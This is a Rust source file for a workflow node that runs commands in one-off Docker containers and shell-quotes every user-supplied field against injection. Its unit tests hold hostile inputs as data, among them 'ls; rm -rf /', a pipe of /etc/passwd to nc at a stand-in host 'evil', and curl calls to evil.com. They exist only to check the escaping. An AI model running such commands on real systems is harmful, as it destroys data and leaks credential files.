//! Docker 节点 — 在 Docker 容器内执行命令
//!
//! 通过 `docker run --rm` 一次性容器执行命令。复用 df_execute::shell::execute 调用本地
//! docker CLI,与 ScriptNode/GitNode 路径一致(不内嵌 docker SDK,CLI 更通用透明)。
//!
//! 执行流程:
//! 1. 先 `docker --version` 探测 Docker 可用性(未装/未运行直接报错,避免容器启动失败
//!    时退出码语义混淆)。
//! 2. 构建 `docker run --rm {volumes} {env} -w {working_dir} {image} {command}`。
//! 3. 经 df_execute::shell::execute 执行,回传 stdout/stderr/exit_code。

use async_trait::async_trait;
use df_workflow::node::{Node, NodeContext, NodeOutput, NodeResult, NodeSchema};

/// Docker 节点
pub struct DockerNode;

/// 卷挂载配置项(volumes 数组元素)
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct VolumeMount {
    pub host: String,
    pub container: String,
}

/// 从 NodeContext.config 解析出的 DockerNode 参数。
/// 抽离此结构便于单元测试 config 解析逻辑(无需起 shell / 真实容器)。
#[derive(Debug, Clone)]
pub struct DockerParams {
    /// Docker 镜像名(必填,如 "rust:latest")
    pub image: String,
    /// 容器内执行命令(必填)
    pub command: String,
    /// 容器内工作目录(默认 "/workspace")
    pub working_dir: String,
    /// 超时秒数(默认 300)
    pub timeout_secs: u64,
    /// 卷挂载列表(可选)
    pub volumes: Vec<VolumeMount>,
    /// 环境变量(可选)
    pub env: std::collections::HashMap<String, String>,
}

/// 从 config JSON 解析 DockerParams。image / command 必填,其余按默认/可选。
pub fn parse_params(config: &serde_json::Value) -> anyhow::Result<DockerParams> {
    let image = config
        .get("image")
        .and_then(|v| v.as_str())
        .ok_or_else(|| anyhow::anyhow!("DockerNode 缺少必填参数: image"))?
        .to_string();

    let command = config
        .get("command")
        .and_then(|v| v.as_str())
        .ok_or_else(|| anyhow::anyhow!("DockerNode 缺少必填参数: command"))?
        .to_string();

    let working_dir = config
        .get("working_dir")
        .and_then(|v| v.as_str())
        .map(|s| s.to_string())
        .unwrap_or_else(|| "/workspace".to_string());

    let timeout_secs = config
        .get("timeout_secs")
        .and_then(|v| v.as_u64())
        .unwrap_or(300);

    // volumes: JSON 数组,每项 {"host": "...", "container": "..."}
    // 容错:类型不符/缺字段项跳过(不整体失败,单条坏配置不阻塞整个工作流)。
    let volumes = config
        .get("volumes")
        .and_then(|v| v.as_array())
        .map(|arr| {
            arr.iter()
                .filter_map(|item| {
                    let host = item.get("host")?.as_str()?.to_string();
                    let container = item.get("container")?.as_str()?.to_string();
                    Some(VolumeMount { host, container })
                })
                .collect()
        })
        .unwrap_or_default();

    // env: JSON 对象 { KEY: VALUE },值统一转字符串。
    let env = config
        .get("env")
        .and_then(|v| v.as_object())
        .map(|obj| {
            obj.iter()
                .filter_map(|(k, v)| v.as_str().map(|s| (k.clone(), s.to_string())))
                .collect()
        })
        .unwrap_or_default();

    Ok(DockerParams {
        image,
        command,
        working_dir,
        timeout_secs,
        volumes,
        env,
    })
}

/// 探测 Docker 是否可用:`docker --version` 退出码 0 视为可用。
async fn check_docker_available() -> anyhow::Result<()> {
    let request = df_execute::shell::ShellRequest {
        command: "docker --version".to_string(),
        working_dir: None,
        env: std::collections::HashMap::new(),
        timeout_secs: Some(15),
        shell_type: Default::default(),
    };
    let result = df_execute::shell::execute(request).await;
    match result {
        Ok(r) if r.exit_code.unwrap_or(-1) == 0 => Ok(()),
        _ => anyhow::bail!("Docker 未安装或未运行"),
    }
}

/// 构建 docker run 命令字符串。
/// 所有用户可控参数(卷 host/container、env 值、working_dir、image、command)
/// 均经 `shell_quote` POSIX 安全引用,杜绝 `;`/`|`/`&`/`$` 等 shell 元字符注入。
fn build_command(params: &DockerParams) -> String {
    let mut parts: Vec<String> = vec!["docker run --rm".to_string()];

    for v in &params.volumes {
        parts.push(format!(
            "-v {}:{}",
            shell_quote(&v.host),
            shell_quote(&v.container)
        ));
    }

    for (k, val) in &params.env {
        parts.push(format!("-e {}={}", k, shell_quote(val)));
    }

    parts.push(format!("-w {}", shell_quote(&params.working_dir)));
    parts.push(shell_quote(&params.image));
    // command 同样经 shell_quote,防止 `;`/`|`/`&` 等 shell 元字符注入
    // (如 `command = "ls; rm -rf /"` 被 shell 解释为两条命令)。
    // 若用户确需在容器内用管道/复合命令,应通过镜像 entrypoint 或显式 `sh -c '...'`
    // 实现,而非依赖外层 shell 元字符。
    parts.push(shell_quote(&params.command));

    parts.join(" ")
}

/// POSIX shell 安全引用。
///
/// 单引号在 POSIX shell 中使所有字符失去特殊含义(唯一例外是单引号本身),
/// 是最稳妥的引用方式。任一"非安全字符"(空白、`"`、`'`、`` ` ``、`$`、`;`、`|`、
/// `&`、`<`、`>`、`(`、`)`、`{`、`}`、`!`、`#`、`~`、`*`、`?`、`[`、`]`、`=`前置、
/// 换行/制表等不可见字符)出现即用单引号整体包裹,内部单引号以 `'\''` 关-转义-开
/// 三段法转义(关闭单引号 → `\'` 转义单引号 → 重开单引号)。
///
/// 这样 `;` `|` `&` `$` `` ` `` 等所有 shell 元字符均被中和,杜绝命令注入。
/// 纯字母数字 + 少量安全标点(`/` `.` `_` `-` `:`)的字符串原样返回(可读性)。
fn shell_quote(s: &str) -> String {
    if s.is_empty() {
        // 空串单引号包裹(否则 shell 视为零参数)
        return "''".to_string();
    }
    if s.chars().all(is_shell_safe_char) {
        s.to_string()
    } else {
        // 单引号包裹 + 内部单引号转义:'\'' (关'→\'→重开')
        format!("'{}'", s.replace('\'', "'\\''"))
    }
}

/// 判定字符是否无需引用即可安全出现在 shell 命令中。
/// 仅允许字母数字与少量明确无 shell 语义的标点。
fn is_shell_safe_char(c: char) -> bool {
    c.is_ascii_alphanumeric()
        || matches!(c, '/' | '.' | '_' | '-' | ':' | '+' | '%' | '@' | ',')
}

#[async_trait]
impl Node for DockerNode {
    async fn execute(&self, ctx: NodeContext) -> NodeResult {
        tracing::info!("DockerNode 执行: node_id={}", ctx.node_id);

        // 1. Docker 可用性探测(未装/未运行直接 fail-fast)。
        if let Err(e) = check_docker_available().await {
            anyhow::bail!(e.to_string());
        }

        let params = parse_params(&ctx.config)?;
        let command = build_command(&params);

        tracing::info!(
            image = %params.image,
            working_dir = %params.working_dir,
            timeout_secs = params.timeout_secs,
            "DockerNode 构建命令: {}",
            command
        );

        let request = df_execute::shell::ShellRequest {
            command,
            // 宿主机工作目录对 docker run 无意义,置 None。
            working_dir: None,
            env: std::collections::HashMap::new(),
            timeout_secs: Some(params.timeout_secs),
            shell_type: Default::default(),
        };

        let result = df_execute::shell::execute(request).await?;
        let exit_code = result.exit_code.unwrap_or(-1);

        tracing::info!(
            exit_code,
            duration_ms = result.duration_ms,
            "DockerNode 完成"
        );

        Ok(NodeOutput::from_value(serde_json::json!({
            "image": params.image,
            "stdout": result.stdout,
            "stderr": result.stderr,
            "exit_code": exit_code,
            "duration_ms": result.duration_ms,
        })))
    }

    fn schema(&self) -> NodeSchema {
        NodeSchema {
            params: serde_json::json!({
                "type": "object",
                "properties": {
                    "image": { "type": "string", "description": "Docker 镜像名(如 rust:latest)" },
                    "command": { "type": "string", "description": "容器内执行命令" },
                    "working_dir": { "type": "string", "description": "容器工作目录(默认 /workspace)" },
                    "timeout_secs": { "type": "integer", "description": "超时秒数(默认 300)" },
                    "volumes": {
                        "type": "array",
                        "description": "卷挂载 [{host, container}]",
                        "items": {
                            "type": "object",
                            "properties": {
                                "host": { "type": "string" },
                                "container": { "type": "string" }
                            }
                        }
                    },
                    "env": { "type": "object", "description": "环境变量键值对" }
                },
                "required": ["image", "command"]
            }),
            output: serde_json::json!({
                "type": "object",
                "properties": {
                    "image": { "type": "string" },
                    "stdout": { "type": "string" },
                    "stderr": { "type": "string" },
                    "exit_code": { "type": "integer" },
                    "duration_ms": { "type": "integer" }
                }
            }),
        }
    }

    fn node_type(&self) -> &str {
        "docker"
    }
}

#[cfg(test)]
mod tests {
    use super::*;
    use serde_json::json;

    // ── parse_params: 必填缺失 ──

    #[test]
    fn params_missing_image_errors() {
        let err = parse_params(&json!({ "command": "ls" }))
            .unwrap_err()
            .to_string();
        assert!(err.contains("image"), "实际: {}", err);
    }

    #[test]
    fn params_missing_command_errors() {
        let err = parse_params(&json!({ "image": "rust:latest" }))
            .unwrap_err()
            .to_string();
        assert!(err.contains("command"), "实际: {}", err);
    }

    // ── parse_params: 默认值 ──

    #[test]
    fn params_minimal_uses_defaults() {
        let p = parse_params(&json!({ "image": "alpine", "command": "echo hi" })).unwrap();
        assert_eq!(p.image, "alpine");
        assert_eq!(p.command, "echo hi");
        assert_eq!(p.working_dir, "/workspace");
        assert_eq!(p.timeout_secs, 300);
        assert!(p.volumes.is_empty());
        assert!(p.env.is_empty());
    }

    // ── parse_params: 完整字段 ──

    #[test]
    fn params_full_fields() {
        let p = parse_params(&json!({
            "image": "rust:latest",
            "command": "cargo test",
            "working_dir": "/app",
            "timeout_secs": 120
        }))
        .unwrap();
        assert_eq!(p.image, "rust:latest");
        assert_eq!(p.command, "cargo test");
        assert_eq!(p.working_dir, "/app");
        assert_eq!(p.timeout_secs, 120);
    }

    // ── parse_params: volumes 解析 ──

    #[test]
    fn params_volumes_parsed() {
        let p = parse_params(&json!({
            "image": "node",
            "command": "npm ci",
            "volumes": [
                { "host": "/host/a", "container": "/c/a" },
                { "host": "/host/b", "container": "/c/b" }
            ]
        }))
        .unwrap();
        assert_eq!(p.volumes.len(), 2);
        assert_eq!(
            p.volumes[0],
            VolumeMount {
                host: "/host/a".into(),
                container: "/c/a".into()
            }
        );
        assert_eq!(p.volumes[1].container, "/c/b");
    }

    #[test]
    fn params_volumes_skips_malformed_items() {
        // 缺 container / 非 object 项应被跳过,不整体失败。
        let p = parse_params(&json!({
            "image": "node",
            "command": "ls",
            "volumes": [
                { "host": "/ok", "container": "/ok" },
                { "host": "/no-container" },
                "not-an-object",
                { "container": "/no-host" }
            ]
        }))
        .unwrap();
        assert_eq!(p.volumes.len(), 1);
        assert_eq!(p.volumes[0].host, "/ok");
    }

    // ── parse_params: env 解析 ──

    #[test]
    fn params_env_parsed() {
        let p = parse_params(&json!({
            "image": "python",
            "command": "pytest",
            "env": {
                "FOO": "bar",
                "DEBUG": "1"
            }
        }))
        .unwrap();
        assert_eq!(p.env.len(), 2);
        assert_eq!(p.env.get("FOO").map(|s| s.as_str()), Some("bar"));
        assert_eq!(p.env.get("DEBUG").map(|s| s.as_str()), Some("1"));
    }

    #[test]
    fn params_env_empty_when_non_object() {
        // env 非 object(误传字符串)时回退空 map,不报错。
        let p = parse_params(&json!({
            "image": "python",
            "command": "ls",
            "env": "should-be-object"
        }))
        .unwrap();
        assert!(p.env.is_empty());
    }

    // ── build_command ──

    #[test]
    fn command_minimal_shape() {
        let p = parse_params(&json!({
            "image": "alpine",
            "command": "echo hello"
        }))
        .unwrap();
        let cmd = build_command(&p);
        assert!(cmd.starts_with("docker run --rm"), "实际: {}", cmd);
        // /workspace 全安全字符,不加引号
        assert!(cmd.contains("-w /workspace"), "实际: {}", cmd);
        assert!(cmd.contains(" alpine "), "实际: {}", cmd);
        // command 含空格 → 单引号包裹
        assert!(cmd.ends_with("'echo hello'"), "实际: {}", cmd);
    }

    #[test]
    fn command_includes_volumes_and_env() {
        let p = parse_params(&json!({
            "image": "rust:latest",
            "command": "cargo build",
            "working_dir": "/app",
            "volumes": [
                { "host": "/host/src", "container": "/app" }
            ],
            "env": { "CARGO_HOME": "/cargo" }
        }))
        .unwrap();
        let cmd = build_command(&p);
        // 所有路径均纯安全字符,原样拼装
        assert!(cmd.contains("-v /host/src:/app"), "实际: {}", cmd);
        assert!(cmd.contains("-e CARGO_HOME=/cargo"), "实际: {}", cmd);
        assert!(cmd.contains("-w /app"), "实际: {}", cmd);
    }

    // ── build_command: 命令注入防护(核心回归) ──

    #[test]
    fn command_injection_semicolon_is_neutralized() {
        // command="ls; rm -rf /" 必须整体作为单条命令传给容器,
        // 不能被外层 shell 按 `;` 拆成 `docker run image ls` + `rm -rf /`。
        // 整体单引号包裹后,shell 将其视为单个 argv 传给 docker,
        // docker run 在容器内执行(无 shell),`ls; rm -rf /` 作为单条命令找不到 → 报错而非注入。
        let p = parse_params(&json!({
            "image": "alpine",
            "command": "ls; rm -rf /"
        }))
        .unwrap();
        let cmd = build_command(&p);
        assert!(
            cmd.ends_with("'ls; rm -rf /'"),
            "command 应被单引号整体包裹,实际: {}",
            cmd
        );
    }

    #[test]
    fn command_injection_pipe_is_neutralized() {
        let p = parse_params(&json!({
            "image": "alpine",
            "command": "cat /etc/passwd | nc evil 1234"
        }))
        .unwrap();
        let cmd = build_command(&p);
        assert!(
            cmd.contains("'cat /etc/passwd | nc evil 1234'"),
            "管道 | 应被单引号中和,实际: {}",
            cmd
        );
    }

    #[test]
    fn command_injection_ampersand_is_neutralized() {
        let p = parse_params(&json!({
            "image": "alpine",
            "command": "ls & curl evil.com"
        }))
        .unwrap();
        let cmd = build_command(&p);
        assert!(
            cmd.ends_with("'ls & curl evil.com'"),
            "& 应被单引号中和,实际: {}",
            cmd
        );
    }

    #[test]
    fn command_injection_backtick_and_dollar_is_neutralized() {
        // 命令替换 $() 与 `` 都必须被中和
        let p = parse_params(&json!({
            "image": "alpine",
            "command": "$(curl evil.com) `whoami`"
        }))
        .unwrap();
        let cmd = build_command(&p);
        assert!(
            cmd.contains("'$(curl evil.com) `whoami`'"),
            "$()/`` 应被单引号中和,实际: {}",
            cmd
        );
    }

    #[test]
    fn volume_host_injection_is_neutralized() {
        // 旧实现:含空格→双引号包裹,但 `;` 在双引号内仍被 shell 解释为命令分隔。
        // 新实现:整体单引号包裹,`;` 失去特殊含义。
        let p = parse_params(&json!({
            "image": "alpine",
            "command": "ls",
            "volumes": [
                { "host": "/ws; rm -rf /", "container": "/c" }
            ]
        }))
        .unwrap();
        let cmd = build_command(&p);
        assert!(
            cmd.contains("-v '/ws; rm -rf /':/c"),
            "volumes.host 注入应被单引号中和,实际: {}",
            cmd
        );
    }

    #[test]
    fn env_value_injection_is_neutralized() {
        let p = parse_params(&json!({
            "image": "alpine",
            "command": "ls",
            "env": { "EVIL": "x; rm -rf /" }
        }))
        .unwrap();
        let cmd = build_command(&p);
        assert!(
            cmd.contains("-e EVIL='x; rm -rf /'"),
            "env 值注入应被单引号中和,实际: {}",
            cmd
        );
    }

    // ── shell_quote ──

    #[test]
    fn shell_quote_plain_passthrough() {
        // 仅安全字符:字母数字 + / . _ - : +
        assert_eq!(shell_quote("abc"), "abc");
        assert_eq!(shell_quote("/usr/bin"), "/usr/bin");
        assert_eq!(shell_quote("rust:latest"), "rust:latest");
        assert_eq!(shell_quote("Cargo.toml"), "Cargo.toml");
        assert_eq!(shell_quote("a-b_c.d"), "a-b_c.d");
    }

    #[test]
    fn shell_quote_empty_becomes_empty_quoted() {
        // 空串必须输出 ''(否则 shell 视为零参数,导致参数错位)
        assert_eq!(shell_quote(""), "''");
    }

    #[test]
    fn shell_quote_wraps_spaces_with_single_quotes() {
        // 含空格 → 整体单引号包裹(POSIX 安全,内部 ;|& 全部失效)
        assert_eq!(shell_quote("/a b/c"), "'/a b/c'");
        assert_eq!(shell_quote("echo hello"), "'echo hello'");
    }

    #[test]
    fn shell_quote_neutralizes_semicolon() {
        assert_eq!(shell_quote("ls; rm -rf /"), "'ls; rm -rf /'");
    }

    #[test]
    fn shell_quote_neutralizes_pipe() {
        assert_eq!(shell_quote("a | b"), "'a | b'");
    }

    #[test]
    fn shell_quote_neutralizes_ampersand() {
        assert_eq!(shell_quote("a && b"), "'a && b'");
    }

    #[test]
    fn shell_quote_neutralizes_dollar_and_backtick() {
        // $ 与 ` 在双引号内仍有命令替换语义,单引号才安全
        assert_eq!(shell_quote("$HOME"), "'$HOME'");
        assert_eq!(shell_quote("`whoami`"), "'`whoami`'");
        assert_eq!(shell_quote("$(cmd)"), "'$(cmd)'");
    }

    #[test]
    fn shell_quote_escapes_embedded_single_quote() {
        // 内嵌单引号 → '\'' (关' → \' → 重开')
        // 例如 a'b → 'a'\''b'
        assert_eq!(shell_quote("a'b"), "'a'\\''b'");
        // 多个单引号都正确转义
        assert_eq!(shell_quote("'"), "''\\'''");
        assert_eq!(shell_quote("x'y'z"), "'x'\\''y'\\''z'");
    }

    #[test]
    fn shell_quote_neutralizes_redirect_and_braces() {
        assert_eq!(shell_quote("a > /etc/passwd"), "'a > /etc/passwd'");
        assert_eq!(shell_quote("a < b"), "'a < b'");
        assert_eq!(shell_quote("{1,2}"), "'{1,2}'");
        // `!` 与 `*` 均非安全 → 整体单引号包裹
        assert_eq!(shell_quote("!*"), "'!*'");
        assert_eq!(shell_quote("file*"), "'file*'");
    }

    #[test]
    fn is_shell_safe_char_classification() {
        // 安全
        for c in ['a', 'Z', '0', '9', '/', '.', '_', '-', ':', '+', '@', ','] {
            assert!(is_shell_safe_char(c), "{:?} 应判定为安全", c);
        }
        // 不安全(shell 元字符 / 空白 / 引号 / 元字符)
        for c in [
            ' ', '\t', '\n', '"', '\'', '`', '$', ';', '|', '&', '<', '>', '(', ')',
            '{', '}', '!', '#', '~', '*', '?', '[', ']', '=',
        ] {
            assert!(!is_shell_safe_char(c), "{:?} 应判定为不安全", c);
        }
    }
}
